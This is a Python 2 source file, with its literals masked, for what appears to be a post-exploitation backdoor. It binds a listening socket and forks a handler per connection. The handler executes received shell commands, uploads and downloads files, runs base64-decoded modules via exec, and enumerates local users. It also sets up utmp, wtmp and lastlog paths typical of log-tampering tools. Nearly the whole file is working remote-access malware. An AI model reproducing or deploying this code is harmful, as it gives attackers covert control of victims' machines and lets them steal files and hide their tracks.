<s> import os , sys , re , signal <EOL> import socket <EOL> import time <EOL> from subprocess import Popen , PIPE , STDOUT , call <EOL> from base64 import * <EOL> import datetime <EOL> import platform <EOL> import urllib2 <EOL> import random , string <EOL> import logging <EOL> import struct <EOL> import getpass <EOL> import pwd <EOL> import thread <EOL> import operator <EOL> import SocketServer , SimpleHTTPServer <EOL> from math import log <EOL> def reaper ( ) : <EOL> while activePID : <EOL> pid , stat = os . waitpid ( <NUM_LIT:0> , os . WNOHANG ) <EOL> if not pid : break <EOL> activePID . remove ( pid ) <EOL> def handler ( connection ) : <EOL> time . sleep ( <NUM_LIT:2> ) <EOL> while True : <EOL> cmd = connection . recv ( socksize ) <EOL> proc = Popen ( cmd , <EOL> shell = True , <EOL> stdout = PIPE , <EOL> stderr = PIPE , <EOL> stdin = PIPE , <EOL> ) <EOL> stdout , stderr = proc . communicate ( ) <EOL> if cmd . startswith ( '<STR_LIT>' ) : <EOL> getname = cmd . split ( "<STR_LIT:U+0020>" ) <EOL> rem_file = getname [ <NUM_LIT:1> ] <EOL> filename = rem_file . replace ( "<STR_LIT:/>" , "<STR_LIT:_>" ) <EOL> filedata = connection . recv ( socksize ) <EOL> newfile = file ( filename , "<STR_LIT:wb>" ) <EOL> newfile . write ( filedata ) <EOL> newfile . close ( ) <EOL> if os . path . isfile ( filename ) : <EOL> connection . send ( "<STR_LIT>" ) <EOL> if not os . path . isfile ( filename ) : <EOL> connection . send ( "<STR_LIT>" ) <EOL> elif cmd . startswith ( '<STR_LIT>' ) : <EOL> getname = cmd . split ( "<STR_LIT:U+0020>" ) <EOL> loc_file = getname [ <NUM_LIT:1> ] <EOL> if os . path . exists ( loc_file ) is True : <EOL> sendfile = open ( loc_file , "<STR_LIT:r>" ) <EOL> filedata = sendfile . read ( ) <EOL> sendfile . close ( ) <EOL> connection . sendall ( filedata ) <EOL> else : <EOL> connection . send ( "<STR_LIT>" ) <EOL> elif cmd . startswith ( '<STR_LIT>' ) : <EOL> getname = cmd . split ( "<STR_LIT:U+0020>" ) <EOL> modname = getname [ <NUM_LIT:1> ] <EOL> mod_data = "<STR_LIT>" <EOL> data = connection . recv ( socksize ) <EOL> mod_data += data <EOL> print ( "<STR_LIT>" ) <EOL> connection . send ( "<STR_LIT>" ) <EOL> modexec = b64decode ( mod_data ) <EOL> module_handler ( modexec , modname ) <EOL> elif cmd == "<STR_LIT>" : <EOL> print ( "<STR_LIT>" ) <EOL> conn . close ( ) <EOL> os . _exit ( <NUM_LIT:0> ) <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> elif proc : <EOL> connection . send ( stdout ) <EOL> connection . send ( "<STR_LIT>" ) <EOL> connection . close ( ) <EOL> os . _exit ( <NUM_LIT:0> ) <EOL> def accept ( ) : <EOL> while <NUM_LIT:1> : <EOL> global connection <EOL> connection , address = conn . accept ( ) <EOL> print "<STR_LIT>" <EOL> connection . send ( "<STR_LIT>" ) <EOL> reaper ( ) <EOL> childPid = os . fork ( ) <EOL> if childPid == <NUM_LIT:0> : <EOL> handler ( connection ) <EOL> else : <EOL> activePID . append ( childPid ) <EOL> def module_handler ( module , modname ) : <EOL> status_msg ( "<STR_LIT>" % modname ) <EOL> status_msg ( "<STR_LIT>" % logtime ) <EOL> exec ( module ) <EOL> connection . send ( "<STR_LIT>" ) <EOL> def status_msg ( message ) : <EOL> connection . send ( "<STR_LIT:%s>" % message ) <EOL> def log_msg ( message ) : <EOL> connection . send ( "<STR_LIT>" % message ) <EOL> def cat_file ( filename ) : <EOL> if os . path . exists ( filename ) and os . access ( filename , os . R_OK ) : <EOL> catfile = open ( filename , "<STR_LIT:rb>" ) <EOL> connection . send ( "<STR_LIT>" % filename ) <EOL> for lines in catfile . readlines ( ) : <EOL> connection . sendall ( lines ) <EOL> catfile . close ( ) <EOL> def save_file ( filename ) : <EOL> if os . path . exists ( filename ) and os . access ( filename , os . R_OK ) : <EOL> savefile = open ( filename , "<STR_LIT:rb>" ) <EOL> filedata = savefile . read ( ) <EOL> savefile . close ( ) <EOL> connection . send ( "<STR_LIT>" % filename ) <EOL> time . sleep ( <NUM_LIT:2> ) <EOL> connection . sendall ( filedata ) <EOL> time . sleep ( <NUM_LIT:2> ) <EOL> else : <EOL> pass <EOL> def cmd ( command ) : <EOL> proc = Popen ( command , <EOL> shell = True , <EOL> stdout = PIPE , <EOL> stderr = PIPE , <EOL> stdin = PIPE , <EOL> ) <EOL> stdout , stderr = proc . communicate ( ) <EOL> connection . sendall ( stdout ) <EOL> def cmd2txt ( command , textfile ) : <EOL> os . system ( "<STR_LIT>" % ( command , textfile ) ) <EOL> save_file ( textfile ) <EOL> os . system ( "<STR_LIT>" % textfile ) <EOL> def whereis ( program ) : <EOL> for path in os . environ . get ( '<STR_LIT>' , '<STR_LIT>' ) . split ( '<STR_LIT::>' ) : <EOL> if os . path . exists ( os . path . join ( path , program ) ) and not os . path . isdir ( os . path . join ( path , program ) ) : <EOL> return os . path . join ( path , program ) <EOL> return None <EOL> def users ( ) : <EOL> global userlist <EOL> userlist = [ ] <EOL> if os . access ( '<STR_LIT>' , os . R_OK ) : <EOL> passwd = open ( '<STR_LIT>' ) <EOL> for line in passwd : <EOL> fields = line . split ( '<STR_LIT::>' ) <EOL> uid = int ( fields [ <NUM_LIT:2> ] ) <EOL> if uid > <NUM_LIT> and uid < <NUM_LIT> : <EOL> userlist . append ( fields [ <NUM_LIT:0> ] ) <EOL> def globalvars ( ) : <EOL> global Home_Dir <EOL> global User_Ip_Address <EOL> global UTMP_STRUCT_SIZE <EOL> global LASTLOG_STRUCT_SIZE <EOL> global UTMP_FILEPATH <EOL> global WTMP_FILEPATH <EOL> global LASTLOG_FILEPATH <EOL> global distro <EOL> global distro2 <EOL> global currentuser <EOL> global socksize <EOL> global activePID <EOL> global conn <EOL> global logtime <EOL> global now <EOL> global HOST <EOL> global PORT <EOL> HOST = '<STR_LIT>' <EOL> PORT = <NUM_LIT> <EOL> socksize = <NUM_LIT> <EOL> activePID = [ ] <EOL> now = datetime . datetime . now ( ) <EOL> logtime = ( str ( now . month ) + "<STR_LIT:->" + str ( now . day ) + "<STR_LIT:->" + str ( now . year ) + "<STR_LIT>" + str ( now . hour ) + "<STR_LIT::>" + str ( now . minute ) ) <EOL> UTMP_STRUCT_SIZE = <NUM_LIT> <EOL> LASTLOG_STRUCT_SIZE = <NUM_LIT> <EOL> UTMP_FILEPATH = "<STR_LIT>" <EOL> WTMP_FILEPATH = "<STR_LIT>" <EOL> LASTLOG_FILEPATH = "<STR_LIT>" <EOL> distro = os . uname ( ) [ <NUM_LIT:1> ] <EOL> distro2 = platform . linux_distribution ( ) [ <NUM_LIT:0> ] <EOL> Home_Dir = os . environ [ '<STR_LIT>' ] <EOL> User_Ip_Address = socket . gethostbyname ( socket . gethostname ( ) ) <EOL> if os . geteuid ( ) != <NUM_LIT:0> : <EOL> currentuser = "<STR_LIT>" <EOL> else : <EOL> currentuser = "<STR_LIT:root>" <EOL> globalvars ( ) <EOL> conn = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) <EOL> conn . bind ( ( HOST , PORT ) ) <EOL> conn . listen ( <NUM_LIT:5> ) <EOL> print ( "<STR_LIT>" % PORT ) <EOL> accept ( ) </s>
